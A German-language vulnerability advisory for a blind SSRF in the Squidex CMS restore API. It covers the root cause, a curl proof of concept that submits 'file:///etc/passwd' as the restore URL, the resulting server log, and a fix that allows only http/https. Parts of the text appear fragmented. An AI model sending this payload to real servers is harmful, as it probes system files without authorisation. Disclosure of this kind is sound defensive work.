
CVE-2026-41177, eine Blind-SSRF-Schwachstelle in Squidex CMS (vor v7.23.0). Enthält Ursachenanalyse, Reproduktionsschritte und Auswirkungsbewertung hinsichtlich Local File Interaction (LFI).
Technische Forschung und Analyse für CVE-2026-41177: Eine Blind Server-Side Request Forgery (SSRF)-Schwachstelle in der Squidex CMS Restore-API.
/api/apps/restore)Die Squidex Restore-API ist anfällig für Blind Server-Side Request Forgery (SSRF). Die Anwendung validiert das URI-Schema des vom Benutzer bereitgestellten Url-Parameters nicht, wodurch die Verwendung des file://-Protokolls ermöglicht wird. Dadurch kann ein authentifizierter Administrator den Backend-Server zwingen, mit dem lokalen Dateisystem zu interagieren, was zu lokaler Dateiinteraktion (LFI) und potenzieller Offenlegung sensibler Systeminformationen durch Seitenkanalanalyse interner Protokolle führt.
file:///etc/passwd).RestoreJob).204 No Content ist, zeigen die internen Serverprotokolle, dass der Server die Datei erfolgreich geöffnet und gelesen hat, bevor er fehlschlug, weil der Inhalt kein gültiges ZIP-Archiv war.Führen Sie den folgenden curl-Befehl aus (ersetzen Sie <TOKEN> durch ein gültiges Admin-Token):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
Der folgende Fehler in den Squidex-Containerprotokollen bestätigt die interne Dateiinteraktion:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Hinweis: Die InvalidDataException bestätigt, dass der Server erfolgreich auf die Bytes der Datei zugegriffen und sie gelesen hat.
Diese Schwachstelle ermöglicht es authentifizierten Angreifern:
appsettings.json, Geheimnisse).http://- und https://-Schemata.file://-Schema vor der Verarbeitung abzulehnen.